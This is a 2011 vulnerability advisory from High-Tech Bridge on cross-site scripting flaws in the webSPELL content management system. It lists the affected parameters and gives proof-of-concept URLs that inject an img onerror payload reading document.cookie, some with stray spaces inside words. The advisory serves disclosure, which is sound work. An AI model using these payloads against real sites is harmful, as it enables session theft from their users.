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Cross-site Scripting (XSS) Vulnerabilities in webSPELL

Advisory ID:HTB22932
Product:webSPELL
Vendor:webSPELL.org
Vulnerable Versions:4.2.2a and probably prior
Tested Version:4.2.2a
Advisory Publication:April 5, 2011 [without technical details]
Vendor Notification:April 5, 2011
Public Disclosure:April 19, 2011
Latest Update:October 10, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in webSPELL which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in webSPELL
1.1 The vulnerability exists due to input sanitation error in the "pass" and "touser" parameters in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://[host]/index.php?site=newsletter&pass=1%22%3E%3Cimg%20src=1.png%20one rror=alert%28document.co okie%29%3E
http://[host]/index.php?site=messenger&action=touser&touser=1% 22%3E%3Cimg%20src=1.png%20 onerror=alert%28document.cookie%29%3E

1.2 The vulnerability exists due to input sanitation error in the "page", "squadID" and "contactID" parameters in admin/admincenter.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation examples:
http://[host]/admin/admincenter.php?site=users&action=addtoclan&id=1&page=1% 22%3E%3Cimg%20src=1.png% 20onerror=alert%28document.cookie%29%3E
http://[host]/admin/admincenter.p hp?site=squads&action=edit &squadID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E

http://[host]/admin/admi ncenter.php?site=contact&action=edit&contactID=1%22%3E%3Cimg%20src=1.png%20o nerror=alert%28document. cookie%29%3E

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References:
[1] High-Tech Bridge Advisory HTB22932 - https://www.immuniweb.com/advisory/HTB22932 - Cross-site Scripting (XSS) Vulnerabilities in webSPELL
[2] webSPELL - webspell.org - webSPELL is a free content management system under GNU GPL for creating websites easily.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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